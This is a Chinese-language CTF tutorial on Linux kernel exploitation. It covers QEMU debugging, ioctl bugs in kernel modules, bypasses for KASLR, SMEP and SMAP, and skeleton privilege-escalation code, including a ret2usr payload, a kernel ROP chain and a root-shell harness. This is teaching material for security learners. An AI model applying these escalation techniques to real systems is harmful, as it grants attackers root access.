内核Pwn入门
内核Pwn入门
本文适合
已经掌握用户态 栈、返回地址与控制流、ROP基础 和 堆基础,准备分析 bzImage、initramfs、ko、ioctl 的 Pwn 学习者。学完你能:启动并调试 QEMU 内核题,定位模块 ioctl 漏洞,判断 KASLR/SMEP/SMAP/KPTI 影响,并构造泄露、任意写或 kernel ROP 提权链
内核 Pwn 的目标通常是在内核态漏洞中获得更高权限。它和用户态 Pwn 的思维相通,但环境、权限边界、调试方式和保护机制都不同。
用户态和内核态
普通程序运行在用户态。
内核运行在内核态,负责管理进程、内存、文件、设备和权限。
用户态程序不能随便读写内核内存。
如果内核模块或驱动存在漏洞,攻击者可能从用户态触发漏洞,影响内核态数据。
CTF 中的内核题形式
常见题目会给:
- bzImage。
- initramfs。
- qemu 启动脚本。
- 有漏洞的
.ko内核模块。 - 用户态交互程序。
通常需要在 QEMU 环境中启动内核,调试模块并构造提权利用。
常见漏洞类型
内核栈溢出。
堆溢出。
UAF。
任意读写。
竞争条件。
ioctl 参数校验错误。
设备驱动逻辑错误。
很多入口来自 /dev/xxx 设备和 ioctl。
提权目标
Linux 内核提权常见目标是让当前进程获得 root 权限。
经典思路是调用或等价实现:
commit_creds(prepare_kernel_cred(0))现代内核有 KASLR、SMEP、SMAP、KPTI 等保护,不能简单 ret2usr。
保护机制
KASLR 随机化内核地址。
SMEP 阻止内核执行用户态代码。
SMAP 阻止内核直接访问用户态数据。
KPTI 隔离用户态和内核态页表。
这些保护会决定利用链能否直接跳用户态 shellcode,或者需要 kernel ROP。
内核模块分析
CTF 内核题通常会给一个 .ko 模块文件。分析步骤:
# 查看模块信息
file vuln.ko
# 使用 IDA 或 Ghidra 加载 .ko 文件
# 注意选择正确的架构(通常 x86_64 或 ARM)
# 查看导出符号
nm vuln.ko | grep -i ioctl
# 查看模块初始化函数
# 通常在 init_module 或 module_init 中注册字符设备模块分析要点:
// 典型的内核模块结构
static int __init vuln_init(void) {
// 注册字符设备
register_chrdev(MAJOR_NUM, "vuln", &fops);
return 0;
}
static const struct file_operations fops = {
.unlocked_ioctl = vuln_ioctl, // ioctl 处理函数
.read = vuln_read,
.write = vuln_write,
};
// ioctl 处理函数 - 漏洞通常在这里
static long vuln_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch(cmd) {
case CMD_ALLOC:
// 分配堆对象
break;
case CMD_WRITE:
// 写入数据 - 可能有溢出
break;
case CMD_FREE:
// 释放对象 - 可能有 UAF
break;
case CMD_READ:
// 读取数据 - 可能有信息泄露
break;
}
return 0;
}ioctl 漏洞利用
ioctl 是内核模块与用户态交互的主要接口:
// 用户态调用
#include <sys/ioctl.h>
int fd = open("/dev/vuln", O_RDWR);
// 分配内核对象
ioctl(fd, CMD_ALLOC, size);
// 写入数据(可能溢出)
char buf[0x100];
ioctl(fd, CMD_WRITE, buf);
// 释放对象(可能 UAF)
ioctl(fd, CMD_FREE, 0);
// 读取数据(可能泄露内核地址)
ioctl(fd, CMD_READ, buf);常见漏洞模式:
// 堆溢出:size 检查不当
case CMD_WRITE:
copy_from_user(obj->data, arg, user_size); // user_size 未校验
break;
// UAF:free 后未清空指针
case CMD_FREE:
kfree(obj);
// obj 指针未置 NULL
break;
// 信息泄露:输出包含内核地址
case CMD_READ:
copy_to_user(arg, obj, sizeof(obj)); // 包含内核指针
break;ret2usr 攻击
当 SMEP/SMAP 未开启时,可以直接在用户态布置 shellcode 并让内核跳转执行:
// 用户态代码
#include <stdio.h>
#include <stdlib.h>
// 伪造的提权函数
void get_root(void) {
// commit_creds(prepare_kernel_cred(0))
// 需要先泄露内核地址或使用固定偏移
asm volatile(
"xor rdi, rdi\n" // rdi = 0
"mov rax, prepare_kernel_cred_addr\n"
"call rax\n" // prepare_kernel_cred(0)
"mov rdi, rax\n" // rdi = cred
"mov rax, commit_creds_addr\n"
"call rax\n" // commit_creds(cred)
// 返回用户态
"swapgs\n"
"iretq\n"
);
}
int main() {
// 通过漏洞让内核跳转到 get_root
// 然后 getuid() == 0 时执行 system("/bin/sh")
}SMEP/SMAP 绕过
SMEP 绕过
# 方法 1:修改 CR4 寄存器关闭 SMEP
# CR4 的第 20 位控制 SMEP
# 通过内核 ROP 修改 CR4
cr4_value = 0x6f0 # 关闭 SMEP 的 CR4 值
rop_chain = [
pop_rdi_gadget,
cr4_value,
mov_cr4_rdi_gadget, # mov cr4, rdi; ret
user_shellcode_addr
]
# 方法 2:使用 ret2dir
# 利用 physmap(内核映射用户态页面的区域)
# 通过 physmap 地址执行用户态代码SMAP 绕过
# SMAP 阻止内核访问用户态数据
# 绕过方法:
# 1. 在内核空间布置数据(需要任意写)
# 2. 利用 setcontext + ROP
# 3. 利用内核空间中的可控数据KASLR 绕过
# 内核地址随机化
# 绕过方法:
# 方法 1:信息泄露
# 通过漏洞泄露内核指针
# cat /proc/kallsyms # 需要 root(通常不行)
# 通过 dmesg 泄露地址
# 方法 2:侧信道攻击
# 利用 CPU 缓存时序差异
# 方法 3:固定偏移
# 如果知道内核版本,某些函数间偏移是固定的内核 ROP 构造
from pwn import *
# 内核 ROP 和用户态类似,但目标不同
# 目标:commit_creds(prepare_kernel_cred(0))
# 需要的 gadget:
# pop rdi; ret -> 设置参数
# ret -> 栈对齐
# mov rax, [addr]; call rax -> 调用函数
# 构造 ROP 链
def kernel_rop(kernel_base):
pop_rdi = kernel_base + 0x123456
prepare_kernel_cred = kernel_base + 0xabcdef
commit_creds = kernel_base + 0x789abc
swapgs = kernel_base + 0xdef012
iretq = kernel_base + 0x345678
rop = b'A' * overflow_size
# prepare_kernel_cred(0)
rop += p64(pop_rdi)
rop += p64(0)
rop += p64(prepare_kernel_cred)
# commit_creds(result)
rop += p64(pop_rdi) # rax 已经是返回值
rop += p64(0) # 占位,实际需要 mov rdi, rax
rop += p64(commit_creds)
# 返回用户态
rop += p64(swapgs)
rop += p64(iretq)
rop += p64(user_rip) # 用户态执行地址
rop += p64(user_cs)
rop += p64(user_rflags)
rop += p64(user_rsp)
rop += p64(user_ss)
return ropQEMU 调试内核
# 启动 QEMU 并开启 GDB 调试
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-append "console=ttyS0 nokaslr" \
-nographic \
-s -S # 开启 GDB server,暂停等待连接
# 另一个终端连接 GDB
gdb vmlinux
(gdb) target remote :1234
(gdb) b start_kernel
(gdb) c
# 设置断点到模块函数
(gdb) b vuln_ioctl
(gdb) c提权验证
// 提权成功后验证
int main() {
// 触发漏洞完成提权...
if (getuid() == 0) {
printf("Root!\n");
system("/bin/sh");
// 或者读取 flag
int fd = open("/root/flag", O_RDONLY);
char buf[100];
read(fd, buf, 100);
printf("Flag: %s\n", buf);
}
return 0;
}竞态条件利用
// 内核竞态条件(Race Condition)
// 两个线程同时操作同一资源
// 线程 1:分配对象
// 线程 2:释放对象
// 如果时序刚好,可能在检查后、使用前对象被释放
// 利用 userfaultfd 或 FUSE 控制内核执行暂停
#include <linux/userfaultfd.h>
// userfaultfd 可以在页面访问时暂停线程
// 用于精确控制竞态窗口常见误区
- 用用户态 Pwn 的方式直接套内核题。
- 不看启动脚本里的保护开关。
- 不理解 ioctl 交互接口。
- 忽略内核崩溃会直接重启或 panic。
- 不区分泄露内核地址和获得任意写。
一句话判断
题目给 bzImage、initramfs、run.sh、.ko、/dev/vuln 或 ioctl 交互时,就按内核 Pwn 处理。
内核 Pwn 的目标通常不是起普通 shell,而是让当前进程获得 root 权限,再回到用户态读 flag。
题目中常见信号
- 附件包含
bzImage、vmlinux、initramfs.cpio、rootfs.cpio。 - 启动脚本使用
qemu-system-x86_64。 - 存在
vuln.ko或自定义字符设备。 - 交互代码打开
/dev/xxx并调用ioctl。 - 启动参数含
kaslr/nokaslr、smep、smap、pti/kpti。 - 崩溃表现为 kernel panic,而不是普通进程 SIGSEGV。
- 目标函数是
commit_creds、prepare_kernel_cred、modprobe_path、core_pattern。
核心概念
内核题最小链条:
用户态触发接口 -> 内核漏洞原语 -> 泄露/绕过保护 -> 提权 -> 安全返回用户态常见提权目标:
commit_creds(prepare_kernel_cred(0))但现代保护会改变路线:
KASLR -> 需要泄露内核基址
SMEP -> 不能直接执行用户态 shellcode
SMAP -> 内核不能随便访问用户态数据
KPTI -> 返回用户态要走 swapgs/iretq 或 trampoline最小分析流程
- 解包 initramfs,查看
/init、启动脚本和设备权限。 - 读取
run.sh,记录 QEMU 参数和内核保护开关。 - 用
file/nm/objdump或 IDA/Ghidra 分析.ko。 - 找
module_init、file_operations、unlocked_ioctl/read/write。 - 写用户态 harness 调 ioctl,跑通每个命令。
- 判断漏洞类型:栈/堆溢出、UAF、任意读写、double fetch。
- 建立原语:泄露内核地址、任意读、任意写、控制 RIP。
- 绕过保护并提权:kernel ROP、modprobe_path、cred overwrite。
- 返回用户态后验证
getuid()==0并读取 flag。
最小验证示例
启动调试:
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-append "console=ttyS0 nokaslr" \
-nographic -s -SGDB 连接:
target remote :1234
b *vuln_ioctl
c用户态 harness:
int fd = open("/dev/vuln", O_RDWR);
ioctl(fd, CMD_ALLOC, 0x100);
ioctl(fd, CMD_WRITE, user_buf);
ioctl(fd, CMD_READ, user_buf);成功标准:能稳定触发漏洞命令,并用调试器观察到内核对象、泄露值或控制流变化。
常见利用 / 解题路线
路线总览:
路线一:ret2usr
仅适合 SMEP/SMAP 关闭或可绕过的老题。让内核跳到用户态提权代码。
路线二:kernel ROP
SMEP 开启时常用。ROP 调 commit_creds(prepare_kernel_cred(0)),再 swapgs; iretq 回用户态。
路线三:modprobe_path 覆写
有任意写时,覆盖 modprobe_path 指向用户可控脚本,再触发未知格式文件执行。
路线四:cred 覆写
有任意读写或 UAF 能定位当前 task/cred 时,把 uid/gid 改为 0。
路线五:内核堆 UAF / 竞态
通过喷射 tty_struct、seq_operations、msg_msg 等对象,把 UAF 对象重占为可控结构。
常见失败原因
- 没看 QEMU 参数:
nokaslr、smep、smap、kpti直接决定路线。 - 模块基址没加载:GDB 断点下不到
.ko函数,需要加符号或用/sys/module/.../sections。 - 用户态地址被 SMEP 拦截:不能 ret2usr,改 kernel ROP。
- 返回用户态状态没保存:需要保存
cs/ss/rflags/rsp/rip。 - panic 后状态丢失:先用快照、日志和最小触发稳定漏洞。
- copy_from_user/copy_to_user 方向搞反:读写原语判断错误。
- 只拿到泄露不等于提权:还要转成写、ROP 或对象劫持。
迷你案例
附件有 vuln.ko,ioctl(CMD_WRITE) 对内核堆对象做 copy_from_user(obj->buf, user, user_size),但对象只分配 0x80 字节。
分析:
CMD_ALLOC 分配对象
CMD_WRITE 可溢出覆盖相邻对象函数指针
CMD_READ 可泄露内核堆或函数指针
run.sh 开启 KASLR 和 SMEP路线:
泄露内核函数指针 -> 计算 kernel base
堆喷 seq_operations
覆盖 seq_operations->start 为 kernel ROP pivot
ROP: commit_creds(prepare_kernel_cred(0)) -> swapgs_restore_regs_and_return_to_usermode
用户态 getuid()==0 后 cat /flagWP 要保留启动参数、模块入口、ioctl 命令表、漏洞原语和提权后验证,不能只贴最终 exploit。